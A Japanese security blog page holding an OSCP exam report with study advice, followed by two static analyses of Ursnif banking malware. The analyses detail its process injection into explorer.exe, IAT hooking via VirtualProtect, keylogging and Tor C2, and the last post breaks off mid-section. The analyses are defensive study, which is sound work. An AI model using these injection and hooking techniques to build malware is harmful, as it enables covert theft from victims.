OSCP受験記&勉強方法

OSCPを受験して合格しました!久々の記事更新ですね・・・実は転職をしたので色々とバタバタしていました。
本来、このブログは前職のチーム非公式のブログなのですが、更新していたのがほぼ自分一人で、このままブログが閉鎖されるのも寂しいので、転職すると同時にこのブログもいただくことにしました。今まではユーザ系の企業に努めていましたが、2020年5月より準セキュリティベンダーに転職しました。転職理由は・・・どうしてもネガティブな理由が含まれてしまうので、やめておこうと思います。一言だけ記載すると、前職だと自身のキャリアが見えなかったというのが大きな理由だと思います。
本題に戻すと、ちょうどこの前の4連休(9月20日)にOSCPを受験して、無事合格しました。OSCP受験記も最近増えて来ている気がしますが、まだまだ少ないので受験期&どのように勉強したかを載せていこうと思います。OSCP合格を目指している人に少しでも参考になればなあと思います。OSCP自体については、下記ブログ等で記載されているので、そちらをご参照ください。
・資格「OSCP」について
https://medium.com/yuikuras-cracking-lab/%E8%B3%87%E6%A0%BC-oscp-%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-3846cab4bd40

 

■そもそも自身のスキル・自己紹介
個人のブログになったこと、元々のスキルが不明だと参考にならないと思うので、これを機に自己紹介します。セキュリティ経験は3年半程度です。そのうち、1年間は海外にいたこともあり、その時はそこまでセキュリティ業務に携われなかったので、実質は3年程度のまだまだ初心者だと思います。そのうち、ほとんどはユーザ系企業のセキュリティチームで、IRやブログに書いてあるようなマルウェア解析、SIEMの監視などをしていました。レッド系の経験は全くなく、攻撃系のスキルはCTFでバッファオーバフローや代表的なWebの攻撃をしたことがあるぐらいでした。CTFもブログに書いてあるようにまだまだ初心者なので、いわゆる学生時代からCTFをやっていたような凄まじい人でもなく、レッド系の経験もない一般的なセキュリティチームの人です。

 

■試験当日の様子
17時から試験開始しました。3回の試験チャレンジをした経験上、ちょうど試験の真ん中で、睡眠というリセットを設けられる夕方から試験をするのが自分には合っていました。とはいえ、試験が気になるので3時間程度しか寝れなかったですが・・・ご飯もしっかり食べると集中力が切れるので、おにぎりといった軽食や、レッドブルやコーヒーで強制的にONの状態を作っていました。ただ、気分転換も重要なので朝に散歩行ったりもしました。
試験では10点、20点が2つ、25点が2つのマシン(1つはバッファオーバーフロー)を用意されますが、私が解けたのは25点2つと10点のroot、20点のマシンのuser権限のみでした。70点で合格のため、user権限のみでどれだけ部分点をくれるかという勝負になり、合格発表まで冷や冷やでした・・・終了後はメールの合否発表や合格・不合格について話しているDiscordのスレッドをみていて、なかなか仕事に集中できなかったですね・・・
BOFは1時間、10点の問題も1時間で終え、20点と25点のユーザ権限もそれぞれ2時間程度で取得できたので、順調と思ったのですが、そこから地獄でした。両方なかなかroot権限を取得できず、睡眠後の次の日も解けず、結局ほぼ諦めモードだった試験終了の3時間前でようやく25点問題のrootを取得できました。原因はenum不足なので、ツールを使うのも良いですが、しっかりと自身の手でマニュアルでマシンをチェックすることも重要です。そこで合格ボーダーラインに乗ったので、再びやる気がついて、20点問題の権限昇格を再度狙ったのですが、最後までこちらはできませんでした。ちなみにもう1つの20点問題は全く検討もつきませんでした。ボーダーライン上なので、少しでも部分点を取ろうと、権限昇格できなかったマシンもDBのCredentialsや発見した脆弱性等を全てレポートに書き込みました(これが効果があったかはわかりません)。

 

■OSCPを受験して得られるスキル

当然ですが、攻撃スキルが身につくので、レッド系をしている人・または目指す人にはベストな試験だと思います。また、私のようなブルー系の人でもよく言われるように攻撃スキルを身に着けることで、攻撃者の思考パターンを先読みできるというのは間違いないと思います。より具体的には、今までなんとなく危ないと思って対応していたログ分析やEDR対応、例えばSMB通信が発生していたり、tasklistコマンドやcertutilコマンドを利用されている場合など、感覚で対応していた部分がより具体的にどういう脅威・リスクがあるかをよりイメージできるようになったと感じています。また、threat huntingといった業務にも有効かと思います。

 

■OSCPを受験したスケジュール

2020年1月からOSCPを申込みました。愚かな自分は上に書いた通り、何も攻撃スキルを勉強しないまま突撃しました。OSCPを受講しながら、スキルを身につければいいだろと思ってましたが、これが大失敗でした。基本的にOSCPはドSな試験で、手取り足取り教えてくれる試験ではありません。テキストと動画、ラボ環境を与えられるだけで、あとは放置されます。さらにラボの攻略方法を書いてあれば良いですが、掲示板にヒントがあるだけで、解説はありません。掲示板でヒントを求めても、OSCPでは"TRY HARDER"(日本語だと”もっとがんばれ")という考えが根底にあり、丸投げの質問をすると"TRY HARDER"で瞬殺される時があります。そのため、1ヶ月のPDF読み込み期間、そのあとラボに向かうもヒントだけでは何をすればまるでわからず、放心状態の期間が数週間あったので、めちゃくちゃ無駄な期間でした。結局1ヶ月ラボの延長を申し込むので、無駄な費用と時間が発生しました。

後に紹介するHack The BoxやVulnhubはWriteupがあるので、まずそこで基礎を固めてから、OSCPに申し込むことを推奨します。ただし、私のように、まず申し込んで退路を絶ってからでないとやる気が出ない場合もあるので、そういう意味ではまず申し込むのもアリかもしれません。

試験自体は、4月の記念受験、7月のリベンジ、9月の再リベンジと3度試験を受けました。

 

■勉強方法
ここからメインである、レッド未経験の筆者が行った勉強方法を記載していこうと思います。基本的には様々な攻撃・解法を覚える解法暗記を行っていました。

OSCPやHack The Boxで攻略する時、この攻撃・脆弱性を知らないと解けるわけないだろという問題に多く遭遇しました。中級以上の難易度だと、攻略への誘導もないことも多いので、脆弱性ぐぐる方向性すらわからず、ひたすら時間が溶けるということが多くありました。そのため、とにかく大きな解法を実践・暗記することを重要視したので、ヒントやWriteupも最初からみていました。

本番は当然ヒントはないので、ヒント等は極力みないことをおすすめしている人もいるので、この辺りは向き・不向きがあります。ただし、OSCPラボの場合、他からクレデンシャルを盗まないと解けない場合もあり、その場合そのマシンのEnumに要した時間がもったいないので、少なくとも直で攻略できるかどうかは確認することを推奨します。

自身の場合は、OSCPラボと後に出てくるHack The BoxのActiveはヒントのみ、それ以外は基本的にWriteupをみながら解いていました。Writeupを見るだけでもある程度勉強にはなるのですが、やはり自身の中で吸収できる量が変わりますし、何より使っているツールのバージョン等で異なり、Writeupの通りにしても動かないということがよくあります。例えば、自身の場合はWordPressのスキャンツールwpscanがうまく動かず、updateしたり、aggresiveオプションが必要だったりで、多くの無駄な時間を使ったことがありました。極力手を動かすことをおすすめします。
解法を覚えるといっても、Outputがなく、ただマシンを解きっぱなしだと忘れてしまうので、以下の2つを作成しました。
・自分なりのCheatSheet
・自分なりのマシン攻略メモ

 

■自分なりのCheatSheet
このCheaSheetにコマンドの使い方はもちろん、Enumの方法をメモしています。筆者の場合は、下記の通りOnenoteにして、セクションを利用しながらCheatSheetを作りました。もし、攻略マシンがSMBのサービスがOpenな場合は、SMBのセクションを開いて、機械的にそこに書いてあるコマンドを実行していきました。試験時は時間もなく、体力もかなり消費するので、Enum(情報収集)は極力頭を使わず、機械的に実行できるように心がけました(スクリプトを作っても良いと思います)。

f:id:bankingmalware:20200927094922p:plain

CheatSheetのキャプチャ

ゼロベースで作るのは大変だと思うので、他の方が作られたのをベースにするのも良いかと思います。筆者の場合は、高林さんのブログとHack Tricksを勝手ながら自分のOnenoteによくコピペさせていただきました(上の画像もだいぶコピペがあります・・・)。ただし、利用しているツールのバージョンが異なり、コマンドが違うという時もあるので、適宜自身の環境に修正していくことが重要です。かなりコピペがあるので、自身のCheatSheetを公開することは控えようと思います。
・高林さんのCeatSheet
https://kakyouim.hatenablog.com/entry/2020/05/27/010807
https://kakyouim.hatenablog.com/entry/2020/04/17/182049
・HackTricks
https://book.hacktricks.xyz/

 

■自分なりの攻略メモ
攻略メモに各種Machineの攻略法をメモしていきました。もちろん、すでに多くのWriteupが存在しますが、個人的には一覧化されている方が過去の似た問題を探すときに便利なので、excelで一覧化していました。こちらの攻略メモは公開するので(OSCPのラボやHTBのActiveのメモは公開していません)、このメモがお役に立てば嬉しいです(これを作るだけでかなり時間がかかった気がします・・・あくまで自分用のメモで公開用の質ではないので、参考程度で捉えてください)。とはいえ、Writeupがあるマシンは、Writeupをみながら攻略・メモして理解・覚えるというサイクルを高速で回したので、1日1台くらいはできたと思います。

(Public)OSCP攻略メモ.xlsx - Google ドライブ


メモするだけでなく、OS、Initialシェルに利用したサービス、Summary等も記載しました。Summaryは内容を見るだけである程度問題が思い出せる程度の記述をしています。また、Exploitに利用したサービスを記載して、試験等でInitialShellで行き詰まった場合は、同様のサービスでフィルタリングして似たようなMachineがなかったかを探すようにしていました。
上に書いた利用法も想定していますが、もう1つは取り掛かるべき問題かどうかの判断材料にも使えると思います。当然ですが、マシンを攻略すればするほど攻略方法が重複するのも出てきて、この解法知ってるよという状況は増えてきます。また、CTFLikeな問題もあり、OSCP合格のためにベストではない問題もあったりします(例えばひたすら暗号解読のためのプログラムを作るような問題はOSCPには向いていない気がします)。

時間は有限なので、自身の苦手分野を埋めるようなマシンを優先的に攻略することをおすすめします。特に様々なサービスへのアプローチ方法を実践することが重要です。ターゲットを絞らないと、httpやsmb、ftp等は頻出サービスなので慣れますが、snmpldapsmtpといった準頻出サービスは列挙方法や接続コマンド方法がわからないということもあるかと思います。

 

■解法暗記のためにどのようなサービス・マシンを利用したか
基本的にはHack The Box(HTB), Vulnhub、TryHackMeが主なサービスになると思います。特にHTBはWriteupも充実しており、一番メインで利用していました(2ヶ月だけ有料会員になって、過去のマシンを攻略しました)。HTBで攻略すべきリストはTJnullさんが作成してくれています。More challengingはやっていないマシンもありますが、それ以外は基本的に攻略したので、上の攻略メモにも記載があると思います。
https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html#vulnerable-machines
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
攻略メモを作成するにあたり、参考にしたWriteupはIppsecが出しているYoutubeの解説動画とrana__khalilさんが作成された下記ブログを主に参考にしていました。
https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/
IppsecのYoutube動画が最も詳しくて、攻略への過程もわかるのでベストだと思いますが、1時間以上におよぶ動画もあって、字幕ありとはいえかなり労力が必要なので、面倒な時はrana__khalilさんのブログを参考にしていました。ブログのUIもWriteupを探しやすく、Metasploitも使わず、別解とか要約セクションもあったりするので、かなり質が高いと感じました(正直、公式のWriteupより参考になります。おそらくippsecの動画もみながら作られているのではと推測しています)。日本語だと、sanpo_shihoさん、yukitsukai47さん、v_avengerさん等がよくWriteupを書いていただいているので、英語記事を読むのがしんどい時は日本語のWriteupを読んでいました。
https://qiita.com/sanpo_shiho
https://qiita.com/yukitsukai47
https://qiita.com/v_avenger
また、security_indexさんが日本語のWriteupをまとめていただいてます。
https://security-index.hatenablog.com/entry/2020/08/30/163229
Vulnhubは先ほどのv_avengerさんが解説されているMachineを中心に攻略しました。Try hack meは無料で挑戦できるWindowsマシン程度しかできなかったですが、こちらも良いサービスです。特にHack The Boxと違い、誘導があるので、より初心者に向いています。2つの違いはsanpo_shihoさんの下記ページで解説されています。
https://sanposhiho.hatenablog.com/entry/2020/05/17/163450
あと、知名度はそこまで高くない?気もしますが、CybersecLabsにある無料枠4台も良問でした。特にWindows問はVulnhubにはなく、数が少ないので、おすすめです。
https://www.cyberseclabs.co.uk

 

HTBがまだ難しい人向けの教材(初級者向け)
HTB等がまだ難しい人は日本語の教材をみて、基礎を固めた方が良いと思います。そういう人向けにOSCPの教科書(PDFファイル)が配布されるのですが、おそらくこれを真剣に読もうとすれば、そこで挫折する可能性が高いです(自分もそうでした)。極力、PDFファイルの内容はOSCP受講前(最低限下記の項目)に理解できていることを推奨します。PDFファイルを読む時間をスキップして、ラボ環境の攻撃に時間を作ることが重要となります(とはいえ、24章のAssembling the Pieces: Penetration Test Breakdownは参考になるテクニックが多いので、この章は熟読推奨です)。

>そもそもハッキングがなんぞやという人に
そもそもハッキングがなんぞやという人にはまず下記の教材でMetaploitの使い方等の基礎を固めた方が良いと思います。非常に有名な本です。
・ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習
また、Kali Linuxを使ったことがない人は、下記本も良いと思います。Kindle Unlimitedだと無料で読めるので、私もダウンロードして読んでいました。Kali Linuxの使い方やnmapのスキャンといった標的を攻略するための流れがまとまっているので、おすすめです。
・Kali LinuxビギナーズガイドⅠ: インストールとテストラボのセットアップ
・Kali LinuxビギナーズガイドⅡ: ツールの使い方1
・Kali LinuxビギナーズガイドⅢ: ツールの使い方2

 

BOFがわからない人向け
OSCPだと必ず、BOFの問題が出ます。一番簡単かつ25ポイント問題なので、ここを確実に得点源にできるようにしましょう。自身の場合はCTFのために、下記本を読んでいました(OSCP挑戦前の話です)。丁寧にBOFの説明が書かれている印象です。CTFの本でも良いですが、pwnの部分は少し説明が厳しかったので、下記の方が良いかと思います。ただし、OSCPのBOFWindows(絶対ではないかも?)なので、Windows系のBOFは攻略メモでも書いた、”dostackbufferoverflowgood"やVulnhubの”brainpan”等で理解を深めるようにしましょう。自身も試験前日は上の2問をといて、BOFはすぐに1時間前後で解けるようにしていました。
・コンピュータハイジャッキング

 

>Web系の攻撃方法がわからない人向け
HTB等をやればわかる通り、半分程度はWebから攻略するマシンになるので、Webからの代表的攻撃は必ず理解を深めましょう。逆に得意になれば得点源となります。通称徳丸本で知られる下記本が良いと思います。レッドよりの本ではないですが、攻撃・守り両方カバーされており、何よりセキュリティ業界にいると非常に有名な本です。自身も恥ずかしながら積読してしまっていたので、CTFである程度Webの基礎知識はありましたが、これを期に一読しました。
・体系的に学ぶ 安全なWebアプリケーションの作り方 第2版

 

HTB等と並行して読むべき教材
下記は初級者向けではありませんが、OSCPにおいて弱点になりがちな分野なので、HTB攻略と並行して、特に時間を割いてスキルを磨いてました。机の前で作業をするやる気が出ない時は、ソファーでタブレットを使ってinputに専念していました。

 

Windows分野の攻略
いろいろな人のoscp reviewをみていると、Windowsを苦手とする人が多い印象です。自身も同様です。そもそも、Windowsのコマンドもよく知らない状態でした(scコマンドでbinpathあたりを変更しようとしたときに、スペースがないとエラーになったりとかでイライラした記憶があります)。AD周辺も複雑で、OSCPのガイドでもかなりのページが割かれています。Windows全域をカバーはできませんが、ADに限定すれば、ALLSAFEから出ている"ミミミミミッミ"が参考になりました。mimikatzを使いながら、AD環境の攻略の理解を深めれます。
・ミミミミミッミ
https://techbookfest.org/product/5630674958548992
下記の本も参考になると思います。多分レッド系だと最も有名な本の1つです。ただ、レベルが高くて量も多く、OSCPの分野ではないことも多い(例えばNWのクラックやソーシャルエンジニアリングなど)ので、部分的に読むことをお勧めします。
・サイバーセキュリティテスト完全ガイド Kali Linuxによるペネトレーションテスト
・サイバーセキュリティ レッドチーム実践ガイド

 

>権限昇格
ここをクリアできずにギリギリ落ちる人が多い印象です。自身も受かりましたが、もっと勉強すれば良かったと試験中後悔しました。難しい分野ですが、個人的にはInitial Shellよりもパターン化されており、その分上級者との差がつきやすい分野だと感じました。権限昇格はTib3riusさんがUdemyで出している講座が良かったです。講座も1.5時間程度なので、直前でも間に合います。TwitterでTib3riusさんをフォローしているとたまにクーポン情報をツイートしているので、25%OFFの1800円で購入しました。
Windows Privilege Escalation
https://www.udemy.com/course/windows-privilege-escalation/
Linux Privilege Escalation
https://www.udemy.com/course/linux-privilege-escalation/

 

■その他
その他として、受験の際、自身が知りたかったことを自問自答方式で答えようと思います。

■何問解けば合格できるのか?
この問は勉強中、不安になって1000回くらい自問自答していました。正直、答えはないですが、最低限TJnullさんが推薦しているLinuxWindowsHTBのマシン49台とOSCPのラボ30台程度で80問程度解いてないと、知っている解法が少ないかなというが率直な思いです(もちろん、各々の初期スキルやセンスにもよります)。私の場合は、攻略メモであげた通り、HTBのRetiredMachineを中心とした75台、OSCPのラボ51台、HTBのActiveマシン15台の141台解いていました。HTBはいつの間にかPro Hackerになっていました。
OSCPラボだけで合格は少し厳しい印象を持っています。高林さんの下記受験期にも載っているように、ラボのマシンよりも試験の方が難しいです。そのため、HTBは攻略しておいた方が良いかと思います。逆に、HTBを極めると、必ずしもOSCPラボは必要ではないのではとも思っています。
https://kakyouim.hatenablog.com/entry/2020/05/11/225348

 

■勉強しても落ちてモチベーションが続かない
この気持ちは非常にわかります。自身も1回目は明らかに実力不足だったので、仕方ないかぐらいでしたが、2回目に落ちた時は立ち直れないくらいショックで、ちょい鬱になりました。かなり頑張ったにもかかわらず、2回目の試験はBOFと20点問題のInitialShellしか取れず惨敗しました。正直この時の問題が今出ても、スコアはほぼ同じだと思います。スキャン結果はテキストに残すようにして、たまに見返してましたが、攻略の糸口がまるでわかりません。
あまり良い方法かはわかりませんが、OSCPは運ゲーだと無理やり考えて立ち直ることにしました。24時間以内に4台も攻略できるかは、知っている脆弱性・攻略へのプロセスが出るかどうかに依存していると思います。攻略の足がかりが検討もつかない問題・知らない攻撃技術が4つ並ぶと時間不足になるので、落ちた時はたまたま知らない問題が出たと考えるようにして、受かるまで2・3ヶ月ごとに受験しようと切り替えました。そう考えると、自然と次の日は、HTBのVIPに申し込んでいました。

他のセキュリティ試験(CISSPやCEHなど)と違って、試験料は$150でめちゃくちゃ高くはないです。飲み会3回程度断れば元が取れます。受かるまで何度も挑戦しましょう(金銭面よりも体力面がきついですが・・・)。DiscordのOSCPチャンネルを利用するのもモチベーションのキープに役立つかもしれません、

 

■最後に
ここまで読んでいただき、ありがとうございました!!
かなり長くなりましたね・・・一番伝えたかったことは、OSCPは非常に有用な試験でありレッド未経験者でも合格可能、ただし、難しいことは間違いないので、事前に周到に準備しようということです。準備方法は上で記載したようにCheatSheetと攻略メモを作ることです。
この記事で少しでもOSCPを目指す人の力になれば幸いです。何か質問やコメントがあれば、気軽に連絡いただければ嬉しいです。

それではOSCP合格を目指すみなさん、
TRY HARDER!!!!!

 

Ursnif(Dreambot, Gozi)の静的解析レポート~インジェクションされた不正コードからIATフックまで~(2019年4月15日ばらまき分)

前回の記事に続いて再びUrsnifの静的解析について記載していこうと思います。

前回の記事ではUrsnifのExplorerへのプロセスインジェクションの手法について解説しました。今回はExplorerにインジェクションされた不正コードの解析およびIATフック(Import Adderess Table)によって実行される不正コードについて、解析していこうと思います。

 

■解析対象と解析環境(再掲)

2019年4月15日にばらまかれたUrsnifで、jsファイルを経由してread.binというUrsnifをダウンロード・実行するものでした。動的解析結果は以前の記事をご参照ください。

https://bankingmalware.hatenablog.com/entry/2019/04/15/165434

ハッシュ値Sha1)45762C39DE64AB7ACECA9D6367129EC0CE37433D

・ファイル名 read.bin

解析環境としてはWindows7の32ビットを使用。32ビットと64ビット環境では動きが異なることが分かったので、ご注意ください。また、今回の解析のために、キャプチャをとりながら再起動を繰り返しています。そのため、アドレス等について、前項のキャプチャと整合性が合わない部分もありますので、ご容赦ください。なお、もし本記事を参考にして解析する場合は、必ず仮想マシンなど、解析が終わったらすぐに戻せる環境で行い、ネットワークからも隔離した状態で行ってください。

 

Explorerにインジェクションされた不正コードの追跡

・端末のバージョン情報を摂取

下記の通り、GetVersion、GetCurrentProcessId等のAPIを利用して端末やプロセス情報を取得。のちに%temp%に出力。

f:id:bankingmalware:20190628173651p:plain

バージョン情報やプロセス情報を取得し、のちに%temp%配下に出力

 

・Torモジュールのダウンロードおよびレジストリに書き込み

UrsnifはTorClientのDLLモジュールをダウンロードし、C&Cサーバとの通信の隠ぺいを試みます。今回は下記のキャプチャの通り、hxxp://h33a7jzovxp2dxfg[.]onionにアクセスし、またTorClientのモジュール情報がレジストリに書き込まれたことが確認。

f:id:bankingmalware:20190628175235p:plain

Torドメインへのアクセスを試みる様子

 

f:id:bankingmalware:20190628175439p:plain

TorClient追加前のレジストリ

f:id:bankingmalware:20190628175453p:plain

TorClient追加後のレジストリ

キーロガー

キーロガーを実装するためにはいくつかの手法がありますが、本検体ではExplorer.exeにインジェクションされた不正スレッドがGetAsyncKeyState関数を利用して、キーロガーの機能を実装していることが確認されました。

f:id:bankingmalware:20190628175909p:plain

GetAsyncKeyState関数を利用して、キーロガーを実装。キーボードを入力するたびに、本APIが呼び出されることを確認。

 

・CreateProcessWのIATフック

UrsnifはExplorerをインジェクションしたのちに、Explorer及び各DLLのCreateProcess APIをIATフック(Import Address Table)することで、この後Explorer経由で呼び出されるプロセスに対して、インジェクションを試みます。まず、実際にIATがフックされた様子を下記に記載します。

 

f:id:bankingmalware:20190628180937p:plain

Ursnif起動前のIAT。起動前のCreateProcessの開始アドレスは0x76C9204D。

 

f:id:bankingmalware:20190628181151p:plain

Ursnif起動後のIAT。起動後のCreateProcessの開始アドレスは0x76D58000に変更されたことがわかる。

 

・CreateProcessWのIATフックの手法

前項でCreateProcessWのIATフックが行われたことが確認されました。そのIATフックを行う手法についてですが、呼び出し側のプロセスのコミット済みページ領域に対するアクセス権限を変更するVirtualProtect APIを用いて実装されていることがわかりました。下記キャプチャの通り、CreateProcessWの開始アドレスが書き込まれたアドレスから4バイトだけアクセス権限を変更してIATフックが行われていました。

f:id:bankingmalware:20190628183040p:plain

VirtualProtectを呼び出している様子。第1引数にCreateProcessのIATが書かれた先頭アドレス、第2引数が対象のバイト数、第3引数がアクセス権限。本件では0x40でPage_ExecutionReadWriteとしている。

 

f:id:bankingmalware:20190628183559p:plain

CreateProcessWの開始アドレスが書き換えられる直前。本来は0x7598204Dとなっている。

f:id:bankingmalware:20190628183710p:plain

CreateProcessWの開始アドレスが0x7598204Dから0x75A48000に書き換えられた

 

f:id:bankingmalware:20190628183925p:plain

再びVirtualProtectを呼び出している様子。アクセス権限を0x20として、元の値であるPAGE_READとしていることがわかる。

 

・CreateProcessAsUseWのIATフック

上記の処理部分にブレイクポイントを張り、処理を進めた結果CreateProcessAsUseWのIATフックも行われていることが確認された。

f:id:bankingmalware:20190630095004p:plain

Ursnif起動前のCreateProcessAsUseWのIAT。開始アドレスが77787B07となっている。

f:id:bankingmalware:20190630095025p:plain

Ursnif起動後のCreateProcessAsUseWのIAT。開始アドレスが7781800Aに変更された。

 

■CreateProcessのIATフックにより、行われる不正コードの追跡

 ・起動プロセスへのインジェクション

基本的にExplorerにインジェクションしたときと同様の手法(Process Hollowing)で起動プロセスへのインジェクションを行われることが確認できた。ただし、Explorerの際はすでに起動しているプロセス(Explorer)にインジェクションするためOpenProcessでExplorerのプロセスハンドルを得るが、今回はCreateProcessでまずSuspend状態でプロセスを起動し、その後ZwMapViewOfSection等を利用して不正コードを注入する。

それ以外はExplorerと同様のため、詳細な手順は省略します(詳細な手順は前記事を参照。 

f:id:bankingmalware:20190630114251p:plain

CreateProcessを呼び出すときの流れ。第1引数がアプリケーション名であり、今回はIEのパスが格納されている。 第6引数がdwCreationFlagsであり、今回は0x4080414となっている。0x4がサスペンド状態で起動するフラグである(CREATE_SUSPEND)。 参考として、0x400000はCREATE_DEFAULT_ERROR_MODE、0X80000はCREATE_STARTUPINFO_PRESENT、0X400はCREATE_UNICODE_ENVIRONMENTである。 (0X10は不明)

 

f:id:bankingmalware:20190630120455p:plain

ZwMapViewOfSectionの呼び出し。第1引数に不正コード用のSection、第2引数にiexplorerを指定することでSectionをiexplorerにマッピング

 

f:id:bankingmalware:20190630120731p:plain

ZwSetContextThreadの呼び出し。第1引数にiexplorerのスレッドハンドル、第2引数にContextの構造体のアドレスにしてEIPを変更している。iexplorerのスレッドのEIPが左下の赤枠の部分(0x0c0218)に変更される。

このiexplorerに注入された不正コードも簡単に解析してみましたが、explorerに注入された不正コードとほとんど同じ動きが見受けられました。explorerとiexplorerに注入されたRWXの領域のメモリを比較してみましたが、一部の部分は異なりましたが、それ以外は同じバイトだったため、基本的には同じ動きをすると思われます。また、試しにメモ帳や電卓を開いて、iexplorer, calc, notepadに注入された不正コードを比較してみましたがすべて同じでした(この傾向は私の解析環境でブラウザインジェクションも行われた2019年6月17日にばらまかれたUrsnifでも同様でした)。個人的にはブラウザインジェクションを行うため、iexplorerと他のプロセスで注入される不正コードは違うのではと勝手に推測していたため、意外な結果でした。

f:id:bankingmalware:20190630171505p:plain

Explorer(左)とiexplorer(右)に注入された不正コードの比較。本キャプチャのオレンジの部分を除けばすべて同じ。

f:id:bankingmalware:20190630171638p:plain

ixplorer(左)とcalc(右)に注入された不正コードの比較。前半の一部を除けばすべて同じ。

 

■(参考)自動起動設定

%temp%配下にadmkadp.exeという名前で自分自身をコピーし、自動起動となるようにレジストリを修正することが確認された。

f:id:bankingmalware:20190630095441p:plain



 ■まとめ

今回のUrsnifの静的解析により、プロセスインジェクションの手法及びIATフックの手法についてより詳しく理解することができました。逆にブラウザインジェクションの手法及びC&Cとの通信については、今回の検体では動作が観測できなかった(C&Cに関してはすでに落ちた)ため、十分に解析できませんでした。現在、諸事情でIDA Proを現在使えなくなってしまったので、またIDA Proが使えるようになれば時間があるときに解析してみようと思います。

 

■筆者について

筆者は、あくまで最近マルウェア解析をし始めたマルウェア解析初心者です。基本的には独学によりマルウェア解析スキルを身に着けた程度のため、あくまで参考程度にとどめていただければ幸いです。ご質問・ご指摘がある場合、ご連絡いただければ幸いです。

 

■参考文献
今回の解析に当たり、多くのサイトを参考にさせていただきましたが、その中でも特に参考にさせていただいたページを記載させていただきます。
https://www.mbsd.jp/blog/20180607.html
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226
https://www.iij.ad.jp/dev/report/iir/034/01_04.html

 

Ursnif(Dreambot, Gozi)の静的解析レポート(2019年4月15日ばらまき分)

ブログやTwitterでも発信している通り、今年も不審メールのばらまきが引き続き行われています。我々が解析している中で最もばらまきが多いのはUrsnifです。そこで今回、2019年4月15日にばらまかれたUrsnif検体について、初めて静的解析を実施してみました。この解析が他のセキュリティ解析者の方々に少しでも参考になれば幸いです。

 

■1.1 Ursnifとは

Ursnifは別名Gozi、Dreambotとも呼ばれるバンキングマルウェアで、主に下記の機能を持つことが確認されています。

Explorerへのプロセスインジェクション

・バージョン情報やIPアドレス情報等を窃取

キーロガー

・ブラウザインジェクション(今回の検体では未確認)

・ディスプレイの録画機能(今回の検体では未確認)

今回の解析では上の3つの機能を確認できたため、本記事で解析結果を記載しようと思います。

 

■1.2 解析対象と解析環境

2019年4月15日にばらまかれたUrsnifで、jsファイルを経由してread.binというUrsnifをダウンロード・実行するものでした。動的解析結果は以前の記事をご参照ください。

https://bankingmalware.hatenablog.com/entry/2019/04/15/165434

ハッシュ値Sha1)45762C39DE64AB7ACECA9D6367129EC0CE37433D

・ファイル名 read.bin 

解析環境としてはWindows7の32ビットを使用。32ビットと64ビット環境では動きが異なることが分かったので、ご注意ください。 なお、もし本記事を参考にして解析する場合は、必ず仮想マシンなど、解析が終わったらすぐに戻せる環境で行い、ネットワークからも隔離した状態で行ってください。
 

■2.1 プロセスインジェクションの全体像

今回解析した検体では下記のような流れでExplorerにプロセスインジェクションすることが確認されました。主な概要図は下記の通りとなっております。以降でその詳細について、キャプチャを交えて記載していこうと思います。

 

f:id:bankingmalware:20190626192954p:plain

プロセスインジェクションの概要

※今回の解析のために、キャプチャをとりながら再起動を繰り返しています。そのため、プロセスハンドルのIDやアドレスについて、前項のキャプチャと整合性が合わない部分もありますので、ご容赦ください。また、以降のキャプチャではreadOriginal.binとreadUnpacked.binというファイル名も登場しますが、すべてread.binと同一ファイル(正確にはreadUnpacked.binはUPXでアンパックしたファイル)です。

 

■2.2 ①OpenProcessでexplorerのプロセスハンドル取得

まず、UrsnifはOpenProcess APIを利用してExplorerのプロセスハンドルを取得します。

以降、このExplorerのプロセスハンドルを各APIに引数として渡すことで、Explorerと共有する領域Sectionオブジェクトを作成し、インジェクションを試みます。

 

f:id:bankingmalware:20190626193632p:plain

OpenProcessの引数にexplorerのプロセスID(1368=0x558)を指定し、 Explorerのプロセスハンドルを取得

f:id:bankingmalware:20190626193820p:plain

Explorerの引数は1368(0x558)となっている

f:id:bankingmalware:20190626193947p:plain

Explorerへのプロセスハンドルが作成される


■2.2 ②CreateRemoteThreadでexplorer内にスレッド作成

CreateRemoteThread APIの引数に先ほどのexplorerへのプロセスハンドルを渡し、explorer内にSuspend状態のスレッドを作成する(0x4がSuspendであるフラグ)。

f:id:bankingmalware:20190627103012p:plain

CreateRemoteThreadに先ほどのexplorer.exeのプロセスハンドルを渡して、explorer内にスレッド作成

f:id:bankingmalware:20190627103122p:plain

Explorer内にスレッドID200のスレッドが生成され、Ursnfi(read.bin)からは0xecというハンドルになった

■2.2 ③NtCreateSectionにより、Sectionオブジェクト作成
 続いてExplorerと共有する領域を作成するために、NtCreateSectionを用いてSectionを作成します(この段階ではまだUrsnif内部にある状態のため、共有はしていません)。

f:id:bankingmalware:20190627105713p:plain

NtCreateSectionにより、この後Explorerと共有するためのSection領域を作成する

■2.2 ④ZwMapViewOfSectionによりリモートビューを作成

ZwMapViewOfSectionを呼び出す際、第1引数に先ほど作成したSection、第2引数にexplorerのプロセスハンドルを渡すことで、explorerに先ほどのSectionをマッピングする(共有メモリとする)。これにより以降本Sectionに書き込みを行うことで、Explorerプロセスに悪意のあるコードを書き込むことが可能となる。

f:id:bankingmalware:20190627105713p:plain

第1引数にUrsnifのSection、第2引数にexplorerのプロセスハンドルを渡している。

■2.2 ⑤memcpyにより先ほどマッピングしたSection

 先ほどのSectionにmemcpy関数を複数回呼び出し、不正コードの書き込みを行う。

f:id:bankingmalware:20190628100012p:plain

memcpyを呼び出している様子。第1引数が書き込み先のアドレス、第2引数が書き込み元のアドレス。ダンプウインドウ(左下の赤枠)は書き込み元のデータを表示している。

f:id:bankingmalware:20190628100720p:plain

Ursnifでのメモリ状況。確保したSection領域に、先ほどのダンプウインドウで表示したデータが書き込まれた(一致している)ことが分かる。

f:id:bankingmalware:20190628100739p:plain

Explorerでのメモリ状況。RWXの領域が確保されており、かつ先ほどのダンプウインドウで表示したデータが書き込まれた(一致している)ことが分かる。

 

■2.2 ⑥ZwAllocateVirtualMemoryにより書込権限・ 実行可能領域を確保

⑤まででexplorerに悪意のあるコードを書き込むことができた。続いてその悪意のあるコードをCallするのシェルコードを書き出す。まずはexplorer内に書き込み・実行可能領域を確保する。

